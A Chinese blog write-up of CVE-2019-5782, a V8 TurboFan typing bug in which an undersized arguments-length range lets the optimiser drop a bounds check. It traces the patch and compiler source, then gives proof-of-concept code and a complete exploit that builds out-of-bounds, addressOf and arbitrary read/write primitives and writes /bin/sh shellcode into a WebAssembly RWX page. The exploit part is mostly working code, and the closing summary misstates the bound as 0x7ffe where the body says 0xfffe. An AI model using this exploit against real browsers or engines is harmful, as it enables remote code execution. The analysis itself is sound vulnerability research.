CVE-2019-5782:kArgumentsLengthType 设置偏小导致优化阶段可以错误的去除 CheckBound 节点

文章目录

  • 环境搭建
  • 漏洞分析
    • 笔者初分析
    • 笔者再分析
    • 漏洞触发源码分析
  • 漏洞利用
  • 总结

环境搭建

sudo apt install python

git reset --hard b474b3102bd4a95eafcdb68e0e44656046132bc9
export DEPOT_TOOLS_UPDATE=0
gclient sync -D

// debug version
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug

// release debug
tools/dev/v8gen.py x64.release
ninja -C out.gn/x64.release

漏洞分析

patch 如下:

diff --git a/src/compiler/type-cache.h b/src/compiler/type-cache.h
index 251ea08..9be7261 100644
--- a/src/compiler/type-cache.h
+++ b/src/compiler/type-cache.h
@@ -166,8 +166,7 @@
       Type::Union(Type::SignedSmall(), Type::NaN(), zone());
 
   // The valid number of arguments for JavaScript functions.
-  Type const kArgumentsLengthType =
-      Type::Range(0.0, Code::kMaxArguments, zone());
+  Type const kArgumentsLengthType = Type::Unsigned30();
 
   // The JSArrayIterator::kind property always contains an integer in the
   // range [0, 2], representing the possible IterationKinds.
diff --git a/src/compiler/verifier.cc b/src/compiler/verifier.cc
index 0a9342e..9ea93da 100644
--- a/src/compiler/verifier.cc
+++ b/src/compiler/verifier.cc
@@ -1258,8 +1258,7 @@
       break;
     case IrOpcode::kNewArgumentsElements:
       CheckValueInputIs(node, 0, Type::ExternalPointer());
-      CheckValueInputIs(node, 1, Type::Range(-Code::kMaxArguments,
-                                             Code::kMaxArguments, zone));
+      CheckValueInputIs(node, 1, Type::Unsigned30());
       CheckTypeIs(node, Type::OtherInternal());
       break;
     case IrOpcode::kNewConsString:
diff --git a/test/mjsunit/regress/regress-crbug-906043.js b/test/mjsunit/regress/regress-crbug-906043.js
new file mode 100644
index 0000000..dbc283f
--- /dev/null
+++ b/test/mjsunit/regress/regress-crbug-906043.js

先来看下 type-cache.h 中对 kArgumentsLengthType 的设置:

  static const int kArgumentsBits = 16;
  // Reserve one argument count value as the "don't adapt arguments" sentinel.
  static const int kMaxArguments = (1 << kArgumentsBits) - 2; // 0xfffe

  // The valid number of arguments for JavaScript functions.
  Type const kArgumentsLengthType =
      Type::Range(0.0, Code::kMaxArguments, zone());

第二处补丁是打在了 void Verifier::Visitor::Check(Node* node, const AllNodes& all) 函数中:

void Verifier::Visitor::Check(Node* node, const AllNodes& all) {
	......
	switch (node->opcode()) {
		......
	    case IrOpcode::kNewArgumentsElements:
     		CheckValueInputIs(node, 0, Type::ExternalPointer());
     	 	CheckValueInputIs(node, 1, Type::Range(-Code::kMaxArguments,
                                             Code::kMaxArguments, zone));
      		CheckTypeIs(node, Type::OtherInternal());
     	 	break;
   		......

笔者初分析

这里笔者本打算跟踪 Verifier::Visitor::Check 寻找调用链,但是并没有发现引用该函数的逻辑,直接在 gdb 中下断点也断不下来,所以笔者决定跟踪 kArgumentsLengthType 变量,最终发现如下地方进行了引用:
在这里插入图片描述
可以发现在 TyperPhase 阶段会调用该值:

Type Typer::Visitor::TypeArgumentsLength(Node* node) {
  return TypeCache::Get().kArgumentsLengthType;
}

class Typer::Visitor : public Reducer {
......
  Reduction Reduce(Node* node) override {
  case IrOpcode::kArgumentsLength:  \
    return UpdateType(node, TypeArgumentsLength(node));
  ......

所以这里会更新 ArgumentsLength 节点的类型。但是这里跟漏洞有啥关系呢?而且笔者自己写的 demo 也没观察到有 ArgumentsLength 这个节点。

笔者因此陷入僵局,因为目前网上还没有文章对该漏洞的原理进行分析。无奈,最后笔者只有对着作者给的 POC 进行分析。

笔者再分析

这里我们来分析下作者给的 POC

function fun(arg) {
  let x = arguments.length;
  a1 = new Array(0x10);
  a1[0] = 1.1;
  a2 = new Array(0x10);
  a2[0] = 1.1;
  a1[(x >> 16) * 21] = 1.39064994160909e-309;  // 0xffff00000000
  a1[(x >> 16) * 41] = 8.91238232205e-313;  // 0x2a00000000
}

var a1, a2;
var a3 = [1.1, 2.2];
a3.length = 0x11000;
a3.fill(3.3);

var a4 = [1.1];

for (let i = 0; i < 3; i++) fun(...a4);
%OptimizeFunctionOnNextCall(fun);
fun(...a4);
res = fun(...a3);
console.log("a2.length =", a2.length.toString(16));

// 输出:
// a2.length = 2a

可以看到这里成功将 a2.length 修改为了 0x2a,结合 POC 可知这里 a1 发生了数组越界。可以看到 POC 比较关键的点就是,这里的索引为 (x >> 16) * ?,而 x = arguments.length

接下来我们简化 POC,抓住主要执行逻辑:

function fun(arg) {
  let x = arguments.length;
  let y = (x >> 16) * 21;
  return y;
}

var a3 = [1.1, 2.2];
a3.length = 0x11000;

var a4 = [1.1];

for (let i = 0; i < 3; i++) fun(...a4);
%OptimizeFunctionOnNextCall(fun);
fun(...a4);

res = fun(...a3);

看下 load elimination 阶段:
在这里插入图片描述
可以看到这里的 ArgumentsLength 节点的范围为 Range(0, 65534),而 65534 = 0xfffe,这个数字是不是很熟悉:

不就是第一处 patch 点吗?没有 patch 之前,kMaxArguments 就是 0xfffe

  static const int kArgumentsBits = 16;
  // Reserve one argument count value as the "don't adapt arguments" sentinel.
  static const int kMaxArguments = (1 << kArgumentsBits) - 2; // 0xfffe

  // The valid number of arguments for JavaScript functions.
  Type const kArgumentsLengthType =
      Type::Range(0.0, Code::kMaxArguments, zone());

看到这里你也许就明白了,这里默认 arguments.length 的最大值为 kMaxArguments = 0xfffe,但是观察 POC 可知我们传入的参数使得 arguments.length = 0x11000,其中 0xfffe >> 16 = 0,而 0x11000 >> 16 = 1,哇,漏洞是不是很明显?所以这会导致在 simplified lowering 阶段消除 CheckBound 节点:
在这里插入图片描述
这里大概知道了漏洞触发的原因,但是我们还是要回到源码中分析。

漏洞触发源码分析

这里以如下 POC 跟踪分析源码:

function fun(arg) {
  let x = arguments.length;
  a1 = new Array(0x10);
  a1[0] = 1.1;
  oob_arr = new Array(0x10);
  oob_arr[0] = 1.1;
  a1[(x >> 16) * 41] = 1.39064994160909e-309;  // 0xffff00000000
}
var a1, oob_arr;
var a3 = new Array();
a3.length = 0x11000;

for(let i = 0; i < 0x10000; i++)
{
        fun(1);
}
fun(...a3);

typer 阶段:
在这里插入图片描述
这里我们看下 typer 阶段是如何对 SpeculativeNumberShiftRight 进行处理的:

......
  case IrOpcode::kSpeculativeNumberShiftRight:
    return UpdateType(node, TypeBinaryOp(node, SpeculativeNumberShiftRight));
......

这里最后会调用到 NumberShiftRight 函数:

这里需要调试,直接引用跟踪是跟不出来的,读者可以自行调试,把断点打在 SpeculativeNumberShiftRight 即可

Type OperationTyper::NumberShiftRight(Type lhs, Type rhs) {
  DCHECK(lhs.Is(Type::Number()));
  DCHECK(rhs.Is(Type::Number()));

  lhs = NumberToInt32(lhs);
  rhs = NumberToUint32(rhs);

  if (lhs.IsNone() || rhs.IsNone()) return Type::None();

  int32_t min_lhs = lhs.Min();
  int32_t max_lhs = lhs.Max();
  uint32_t min_rhs = rhs.Min();
  uint32_t max_rhs = rhs.Max();
  if (max_rhs > 31) {
    // rhs can be larger than the bitmask
    max_rhs = 31;
    min_rhs = 0;
  }
  double min = std::min(min_lhs >> min_rhs, min_lhs >> max_rhs);
  double max = std::max(max_lhs >> min_rhs, max_lhs >> max_rhs);

  if (max == kMaxInt && min == kMinInt) return Type::Signed32();
  return Type::Range(min, max, zone());
}

由于在 typer 阶段还没有进行 Load 节点的消除,所以 SpeculativeNumberShiftRight 节点的第一个参数是一个 Load 节点,其范围为 [INT_MIN, INT_MAX],所以最后右移后,SpeculativeNumberShiftRight 的范围为 Range(-32768, 32767)IR 图是吻合的

typed lowering 阶段:
在这里插入图片描述
该阶段中会对 JS 函数节点进行处理,其中 create_lowering reducer 就会对 typer 阶段的 JSCreateArguments 进行处理:

Reduction JSCreateLowering::Reduce(Node* node) {
  DisallowHeapAccess disallow_heap_access;
  switch (node->opcode()) {
    case IrOpcode::kJSCreate:
      return ReduceJSCreate(node);
    case IrOpcode::kJSCreateArguments:
      return ReduceJSCreateArguments(node);
    ......

跟进 ReduceJSCreateArguments 函数:

代码有点长,可以扔给 GPT 审计审计,但效果不是很好

Reduction JSCreateLowering::ReduceJSCreateArguments(Node* node) {
  DCHECK_EQ(IrOpcode::kJSCreateArguments, node->opcode());
  CreateArgumentsType type = CreateArgumentsTypeOf(node->op());
  Node* const frame_state = NodeProperties::GetFrameStateInput(node);
  Node* const outer_state = frame_state->InputAt(kFrameStateOuterStateInput);
  Node* const control = graph()->start();
  FrameStateInfo state_info = FrameStateInfoOf(frame_state->op());
  SharedFunctionInfoRef shared(broker(),
                               state_info.shared_info().ToHandleChecked());

  // Use the ArgumentsAccessStub for materializing both mapped and unmapped
  // arguments object, but only for non-inlined (i.e. outermost) frames.
  if (outer_state->opcode() != IrOpcode::kFrameState) {
    switch (type) {
      case CreateArgumentsType::kMappedArguments: {
        // TODO(mstarzinger): Duplicate parameters are not handled yet.
        if (shared.has_duplicate_parameters()) return NoChange();
        Node* const callee = NodeProperties::GetValueInput(node, 0);
        Node* const context = NodeProperties::GetContextInput(node);
        Node* effect = NodeProperties::GetEffectInput(node);
        Node* const arguments_frame =
            graph()->NewNode(simplified()->ArgumentsFrame());
        Node* const arguments_length = graph()->NewNode(
            simplified()->ArgumentsLength(
                shared.internal_formal_parameter_count(), false),
            arguments_frame);
        // Allocate the elements backing store.
        bool has_aliased_arguments = false;
        Node* const elements = effect = AllocateAliasedArguments(
            effect, control, context, arguments_frame, arguments_length, shared,
            &has_aliased_arguments);
        // Load the arguments object map.
        Node* const arguments_map = jsgraph()->Constant(
            has_aliased_arguments
                ? native_context().fast_aliased_arguments_map()
                : native_context().sloppy_arguments_map());
        // Actually allocate and initialize the arguments object.
        AllocationBuilder a(jsgraph(), effect, control);
        Node* properties = jsgraph()->EmptyFixedArrayConstant();
        STATIC_ASSERT(JSSloppyArgumentsObject::kSize == 5 * kPointerSize);
        a.Allocate(JSSloppyArgumentsObject::kSize);
        a.Store(AccessBuilder::ForMap(), arguments_map);
        a.Store(AccessBuilder::ForJSObjectPropertiesOrHash(), properties);
        a.Store(AccessBuilder::ForJSObjectElements(), elements);
        a.Store(AccessBuilder::ForArgumentsLength(), arguments_length);
        a.Store(AccessBuilder::ForArgumentsCallee(), callee);
        RelaxControls(node);
        a.FinishAndChange(node);
        return Changed(node);
      }
      case CreateArgumentsType::kUnmappedArguments: {
        ......
      }
      case CreateArgumentsType::kRestParameter: {
        ......
      }
    }
    UNREACHABLE();
  } else if (outer_state->opcode() == IrOpcode::kFrameState) {
    ......
        if (type == CreateArgumentsType::kMappedArguments) {
      Node* const callee = NodeProperties::GetValueInput(node, 0);
      Node* const context = NodeProperties::GetContextInput(node);
      Node* effect = NodeProperties::GetEffectInput(node);
      // TODO(mstarzinger): Duplicate parameters are not handled yet.
      if (shared.has_duplicate_parameters()) return NoChange();
      // Choose the correct frame state and frame state info depending on
      // whether there conceptually is an arguments adaptor frame in the call
      // chain.
      Node* const args_state = GetArgumentsFrameState(frame_state);
      if (args_state->InputAt(kFrameStateParametersInput)->opcode() ==
          IrOpcode::kDeadValue) {
        // This protects against an incompletely propagated DeadValue node.
        // If the FrameState has a DeadValue input, then this node will be
        // pruned anyway.
        return NoChange();
      }
      FrameStateInfo args_state_info = FrameStateInfoOf(args_state->op());
      // Prepare element backing store to be used by arguments object.
      bool has_aliased_arguments = false;
      Node* const elements = AllocateAliasedArguments(
          effect, control, args_state, context, shared, &has_aliased_arguments);
      effect = elements->op()->EffectOutputCount() > 0 ? elements : effect;
      // Load the arguments object map.
      Node* const arguments_map = jsgraph()->Constant(
          has_aliased_arguments ? native_context().fast_aliased_arguments_map()
                                : native_context().sloppy_arguments_map());
      // Actually allocate and initialize the arguments object.
      AllocationBuilder a(jsgraph(), effect, control);
      Node* properties = jsgraph()->EmptyFixedArrayConstant();
      int length = args_state_info.parameter_count() - 1;  // Minus receiver.
      STATIC_ASSERT(JSSloppyArgumentsObject::kSize == 5 * kPointerSize);
      a.Allocate(JSSloppyArgumentsObject::kSize);
      a.Store(AccessBuilder::ForMap(), arguments_map);
      a.Store(AccessBuilder::ForJSObjectPropertiesOrHash(), properties);
      a.Store(AccessBuilder::ForJSObjectElements(), elements);
      a.Store(AccessBuilder::ForArgumentsLength(), jsgraph()->Constant(length));
      a.Store(AccessBuilder::ForArgumentsCallee(), callee);
      RelaxControls(node);
      a.FinishAndChange(node);
      return Changed(node);
    }
    ......
  }

  return NoChange();
}

其实也不需要看到,知道这里计算了 ArgumentsLength 的范围即可。其实就是获取的 kMaxArguments = 0xfffe

而因为 argument.length 的偏移是固定的,所以在 load eliminationload_elimination reducer 会去除 Load 节点:
在这里插入图片描述
然后在 load elimination 阶段的 type_narrowing_reducer 会在进行一次 typing,然后会再调用一次上面 typer 阶段执行过的 OperationTyper::NumberShiftRight 函数

其实这里的 IR 图跟我想到不一样,因为我觉得这里 turbofan 应当计算出 idx 就是 Range(0, 0),然后直接优化为 arr[0]。

Reduction TypeNarrowingReducer::Reduce(Node* node) {
  DisallowHeapAccess no_heap_access;

  Type new_type = Type::Any();

  switch (node->opcode()) {
    case IrOpcode::kNumberLessThan: {
		......
	}

    case IrOpcode::kTypeGuard: {
		......
    }
    #define DECLARE_CASE(Name)                                                \
 	 case IrOpcode::k##Name: {                                               \
    	new_type = op_typer_.Name(NodeProperties::GetType(node->InputAt(0)),  \
                              NodeProperties::GetType(node->InputAt(1))); \
    	break;                                                                \
  	 }
     SIMPLIFIED_NUMBER_BINOP_LIST(DECLARE_CASE)
     DECLARE_CASE(SameValue)
	#undef DECLARE_CASE
	......

这里展开宏可以得到:

case IrOpcode::kNumberShiftRight
	new_type = OperationTyper.NumberShiftRight(NodeProperties::GetType(node->InputAt(0)),
                              NodeProperties::GetType(node->InputAt(1)));
    break

所以最后还是调用到 OperationTyper::NumberShiftRight 函数:

Type OperationTyper::NumberShiftRight(Type lhs, Type rhs) {
  DCHECK(lhs.Is(Type::Number()));
  DCHECK(rhs.Is(Type::Number()));

  lhs = NumberToInt32(lhs); // range(0, 65534)
  rhs = NumberToUint32(rhs); // range(16, 16)

  if (lhs.IsNone() || rhs.IsNone()) return Type::None();

  int32_t min_lhs = lhs.Min(); // 0
  int32_t max_lhs = lhs.Max(); // 65534
  uint32_t min_rhs = rhs.Min(); // 16
  uint32_t max_rhs = rhs.Max(); // 16
  if (max_rhs > 31) {
    // rhs can be larger than the bitmask
    max_rhs = 31;
    min_rhs = 0;
  }
  double min = std::min(min_lhs >> min_rhs, min_lhs >> max_rhs); // 0
  double max = std::max(max_lhs >> min_rhs, max_lhs >> max_rhs); // 0

  if (max == kMaxInt && min == kMinInt) return Type::Signed32();
  return Type::Range(min, max, zone()); // Range(0, 0)

可以看到这里返回的是 Range(0, 0) [看我写的注释],但是最后并没有用该值直接更新节点,而是和原类型进行的合并:

......
  Type original_type = NodeProperties::GetType(node);
  Type restricted = Type::Intersect(new_type, original_type, zone());
  if (!original_type.Is(restricted)) {
    NodeProperties::SetType(node, restricted);
    return Changed(node);
  }
  return NoChange();

以上就是漏洞源码分析全过程了。

漏洞利用

越界修改了 oob_arrlength 后,其利用就比较简单了。

  • 利用越界读构造 addressOf 原语
  • 利用越界写修改 ArrayBufferbacking_store 字段构造任意地址读写原语
  • 先利用 addressOf 原语泄漏 wasm_instance 地址,然后在利用任意地址读原语泄漏 rwx_addr
  • 利用任意地址写原语向 rwx_addr 上写入 shellcode

exp 如下:

/*
let debug = (obj) => {
        %DebugPrint(obj);
        readline();
}
*/

var raw_buf = new ArrayBuffer(8);
var d_buf = new Float64Array(raw_buf);
var l_buf = new BigUint64Array(raw_buf);

let l2d = (val) => {
        l_buf[0] = val;
        return d_buf[0];
}

let d2l = (val) => {
        d_buf[0] = val;
        return l_buf[0];
}

function fun(arg) {
  let x = arguments.length;
  a1 = new Array(0x10);
  a1[0] = 1.1;
  oob_arr = new Array(0x10);
  oob_arr[0] = 1.1;
  a1[(x >> 16) * 41] = 1.39064994160909e-309;  // 0xffff00000000
}
var a1, oob_arr;
var a3 = new Array();
a3.length = 0x11000;

for(let i = 0; i < 0x10000; i++)
{
        fun(1);
}
fun(...a3);

console.log("[+] oob_arr.length: "+ oob_arr.length);

var tmp_arr = [0xdeadef, a1];
var buf_arr = [];
const BUF_NUM = 0x30;

for (let i = 0; i < BUF_NUM; i++) {
        buf_arr.push(new ArrayBuffer(0x2024));
}

var backing_store_ptr_off = -1;
for (let i = 0; i < oob_arr.length-1; i++) {
        let val = d2l(oob_arr[i]);
        if (val == 0x2024n) {
                oob_arr[i] = l2d(0x2025n);
                backing_store_ptr_off = i+1;
                break;
        }
}

if (backing_store_ptr_off == -1) {
        throw "FAILED to hit ArrayBuffer";
}

var victim_idx = -1;
for (let i = 0; i < BUF_NUM; i++) {
        if (buf_arr[i].byteLength = 0x2025) {
                victim_idx = i;
                break;
        }
}

var addressOf_idx = -1;
for (let i = 0; i < oob_arr.length-1; i++) {
        let val = d2l(oob_arr[i]);
        if (val == 0x00deadef00000000n) {
                addressOf_idx = i+1;
                break;
        }
}

var dv = new DataView(buf_arr[victim_idx]);

console.log("backing_store_ptr_off", backing_store_ptr_off);
console.log("victim_idx", victim_idx);
console.log("addressOf_idx", addressOf_idx);

function addressOf(obj) {
        tmp_arr[1] = obj;
        return d2l(oob_arr[addressOf_idx]);
}

function arb_read(addr) {
        oob_arr[backing_store_ptr_off] =l2d(addr);
        return d2l(dv.getFloat64(0, true));
}

function arb_write(addr, val) {
        oob_arr[backing_store_ptr_off] =l2d(addr);
        dv.setFloat64(0, l2d(val), true);
}


var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,
                                128,0,1,96,0,1,127,3,130,128,128,128,
                                0,1,0,4,132,128,128,128,0,1,112,0,0,5,
                                131,128,128,128,0,1,0,1,6,129,128,128,128,
                                0,0,7,145,128,128,128,0,2,6,109,101,109,111,
                                114,121,2,0,4,109,97,105,110,0,0,10,142,128,128,
                                128,0,1,136,128,128,128,0,0,65,239,253,182,245,125,11]);

var wasm_module = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_module);
var pwn = wasm_instance.exports.main;

console.log("wasm_instance address:", "0x"+addressOf(wasm_instance).toString(16));

var rwx_addr = arb_read(addressOf(wasm_instance)-1n+0xe8n);
console.log("rwx_address:", "0x"+rwx_addr.toString(16));

var shellcode = [
        0x2fbb485299583b6an,
        0x5368732f6e69622fn,
        0x050f5e5457525f54n
];

for (let i = 0; i < shellcode.length; i++) {
        arb_write(rwx_addr, shellcode[i]);
        rwx_addr += 8n;
}

pwn();
//%DebugPrint(wasm_instance);
//debug(oob_arr);

效果如下:
在这里插入图片描述

总结

该漏洞其实很简单,就是将 kArgumentsLengthType 的值错误地设置成了 0x7ffe,而笔者测试发现 argument.length 最大可以是 0x1ebef,所以在 turbofan 进行优化时,认为 argument.length 的范围在 [0, 0x7ffe] 之间,然后 >> 16,则范围在 [0, 0] 之间从而导致 CheckBound 节点被优化,但是实际上我们传入的参数个数为 0x11000,所以 >> 16 后值为 1。即优化阶段认为 argument.length >> 16 的值为 0,而实际运行阶段 argument.length >> 16 的值为 1,然后通过一些运算可以放大这个错误从而导致越界读写。

但是笔者感觉 turbofan 中还是有一些优化玄学问题,后续有时间可能得调试一下源码

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.kler.cn/a/274456.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【ESP32 IDF】ESPTIMER定时器

文章目录 前言一、ESPTIMER定时器的介绍1.1 定时器是什么1.2 ESPTIMER定时器的介绍 二、ESPTIMER的使用2.1 简单使用过程2.2 停止定时器2.3 删除定时器 三、示例代码总结 前言 在ESP32 IDF开发框架中&#xff0c;ESPTIMER是一个功能强大的定时器模块&#xff0c;用于实现定时任…

Java八股文(RabbitMQ)

Java八股文のRabbitMQ RabbitMQ RabbitMQ RabbitMQ 是什么&#xff1f;它解决了哪些问题&#xff1f; RabbitMQ 是一个开源的消息代理中间件&#xff0c;用于在应用程序之间进行可靠的异步消息传递。 它解决了应用程序间解耦、消息传递、负载均衡、故障恢复等问题。 RabbitMQ …

JavaSE(上)-Day6

JavaSE&#xff08;上&#xff09;-Day6 数组数组的定义数组的初始化打印数组分析数组索引数组内存图 方法方法的定义和调用方法的重载方法的内存图 二维数组二位数组的创建和初始化二维数组的内存图 数组 1.数组是一种容器&#xff0c;可以一次存储多个相同类型的数据 数组的…

基于openresty构建运维工具链实践

本文字数&#xff1a;4591字 预计阅读时间&#xff1a;25 01 导读 如今OpenResty已广泛被各个互联网公司在实际生产环境中应用&#xff0c;在保留Nginx高并发、高稳定等特性基础上&#xff0c;通过嵌入Lua来提升在负载均衡层的开发效率并保证其高性能。本文主要介绍接口鉴权、流…

从零开始写 Docker(六)---实现 mydocker run -v 支持数据卷挂载

本文为从零开始写 Docker 系列第六篇&#xff0c;实现类似 docker -v 的功能&#xff0c;通过挂载数据卷将容器中部分数据持久化到宿主机。 完整代码见&#xff1a;https://github.com/lixd/mydocker 欢迎 Star 推荐阅读以下文章对 docker 基本实现有一个大致认识&#xff1a; …

搭建项目后台系统基础架构

任务描述 1、了解搭建民航后端框架 2、使用IDEA创建基于SpringBoot、MyBatis、MySQL、Redis的Java项目 3、以原项目为参照搭建项目所涉及到的各个业务和底层服务 4、以原项目为例&#xff0c;具体介绍各个目录情况并参照创建相关文件夹 1、创建项目后端 BigData-KongGuan …

【MySQL】MySQL视图

文章目录 一、视图的基本使用1.创建视图2.修改了视图&#xff0c;对基表数据有影响3.修改了基表&#xff0c;对视图有影响4.删除视图 二、视图规则和限制 一、视图的基本使用 视图是一个虚拟表&#xff0c;其内容由查询定义。同真实的表一样&#xff0c;视图包含一系列带有名称…

15届蓝桥杯备赛(2)

文章目录 刷题笔记(2)二分查找在排序数组中查找元素的第一个和最后一个位置寻找旋转排序数组中的最小值搜索旋转排序数组 链表反转链表反转链表II 二叉树相同的树对称二叉树平衡二叉树二叉树的右视图验证二叉搜索树二叉树的最近公共祖先二叉搜索树的最近公共祖先二叉树层序遍历…

管道(acwing,蓝桥杯,二分)

题目描述&#xff1a; 有一根长度为 len 的横向的管道&#xff0c;该管道按照单位长度分为 len 段&#xff0c;每一段的中央有一个可开关的阀门和一个检测水流的传感器。 一开始管道是空的&#xff0c;位于 Li的阀门会在 Si 时刻打开&#xff0c;并不断让水流入管道。 对于位…

WRF模型运行教程(ububtu系统)--III.运行WRF模型(官网案例)

零、创建DATA目录 # 1.创建一个DATA目录用于存放数据&#xff08;一般为fnl数据&#xff0c;放在Build_WRF目录下&#xff09;。 mkdir DATA # 2.进入 DATA cd DATA 一、WPS预处理 在模拟之前先确定模拟域&#xff08;即模拟范围&#xff09;,并进行数据预处理&#xff08…

我的尝试:Codigger + Vim

若您愿意耐心投入&#xff0c;学习 Vim 的过程其实远比想象中轻松。我对 Vim 产生兴趣&#xff0c;主要是源于它对提升生产力的巨大潜力。我尝试了 Neovim、NvChad 以及 Codigger Vim 插件&#xff0c;如今我的工作效率已远超从前。 那么&#xff0c;Vim 究竟是什么呢&#xff…

Leetcode 79. 单词搜索

心路历程&#xff1a; 做完这道题才发现是回溯&#xff0c;一开始想的是递归&#xff0c;判断完第i个字符后&#xff0c;只需要挨个判断第i1个字符在不在第i个字符的邻域。后来发现由于不能重复使用元素&#xff0c;所以需要维护一个visited列表&#xff0c;并且在遍历所有可能…

【进阶五】Python实现SDVRP(需求拆分)常见求解算法——自适应大邻域算法(ALNS)

基于python语言&#xff0c;采用经典自适应大邻域算法&#xff08;ALNS&#xff09;对 需求拆分车辆路径规划问题&#xff08;SDVRP&#xff09; 进行求解。 目录 往期优质资源1. 适用场景2. 代码调整3. 求解结果4. 代码片段参考 往期优质资源 经过一年多的创作&#xff0c;目前…

Aigtek超声功率放大器产品介绍

超声功率放大器是一种特殊类型的功率放大器&#xff0c;专门用于增强和放大超声信号的功率。它在医疗、工业和科学领域中得到广泛应用。 一、超声功率放大器的基本概述 超声功率放大器是一种能够将低功率超声信号放大到更高功率水平的设备。它是超声系统的关键组成部分&#xf…

力扣1. 两数之和

思路&#xff1a;用一个map存放 已遍历过的元素和下标&#xff1b; 若当前元素是nums[i], 且该元素的另一半 target-nums[i] 在已遍历过的map里面&#xff0c;则返回两个元素的下标&#xff1b; class Solution {public int[] twoSum(int[] nums, int target) {int[] ans new…

腾讯云服务器多少钱1个月?2024一个月收费阿济格IE吧

2024腾讯云服务器多少钱一个月&#xff1f;5元1个月起&#xff0c;腾讯云轻量服务器4核16G12M带宽32元1个月、96元3个月&#xff0c;8核32G22M配置115元一个月、345元3个月&#xff0c;腾讯云轻量应用服务器61元一年折合5元一个月、4核8G12M配置646元15个月、2核4G5M服务器165元…

数据结构:详解【顺序表】的实现

1. 顺序表的定义 顺序表是用一段物理地址连续的存储单元依次存储数据元素的线性结构&#xff0c;一般情况下采用数组存储。动态顺序表与数组的本质区别是——根据需要动态的开辟空间大小。 2. 顺序表的功能 动态顺序表的功能一般有如下几个&#xff1a; 初始化顺序表打印顺序…

PlantUML Integration 编写短信服务类图

PlantUML Integration 写一个类图&#xff0c;主要功能为 1、编写一个serviceSms短信服务类&#xff1b; 2、需要用到短信的地方统一调用基建层的服务即可&#xff1b; 3、可以随意切换、增加短信厂商&#xff0c;不需要更改场景代码&#xff0c;只需要更改application.yml 里面…

Redis数据结构对象中的对象共享、对象的空转时长

对象共享 概述 除了用于实现引用计数内存回收机制之外&#xff0c;对象的引用计数属性还带有对象共享的作用。 在Redis中&#xff0c;让多个键共享同一个值对象需要执行以下两个步骤: 1.将数据库键的值指针指向一个现有的值对象2.将被共享的值对象的引用计数增一 目前来说…

【Godot4.2】2D导航01 - AStar2D及其使用方法

概述 对于2D平台跳跃或飞机大战&#xff0c;以及一些直接用键盘方向键操控玩家的游戏&#xff0c;是根本用不到寻路的&#xff0c;因为只需要检测碰撞就可以了。 但是对于像RTS或战棋这样需要操控玩家到地图指定位置的移动方式&#xff0c;就绝对绕不开寻路了。 导航、碰撞与…
最新文章